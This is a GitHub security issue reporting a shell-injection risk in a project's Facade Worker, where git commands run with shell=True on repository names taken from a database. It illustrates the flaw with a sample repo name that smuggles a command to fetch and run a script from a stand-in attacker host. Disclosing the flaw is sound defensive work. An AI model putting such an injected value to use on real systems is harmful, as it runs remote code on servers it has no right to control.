Skip to content

shell=True could lead to injection in Facade Worker #3577

@guptapratykshh

Description

@guptapratykshh

our facade worker executes git commands using shell=True with repository data from the database. this means if someone adds a malicious repo name like-

innocent-repo, curl attacker.com/malware.sh | bash
our server will execute both git command and malicious code.

it is present in config.py (line 285)
function- run_git_command(), called from- repofetch.py and other facade operations

Metadata

Metadata

Assignees

No one assigned

    Labels

    securityRelated to keeping Augur secure

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions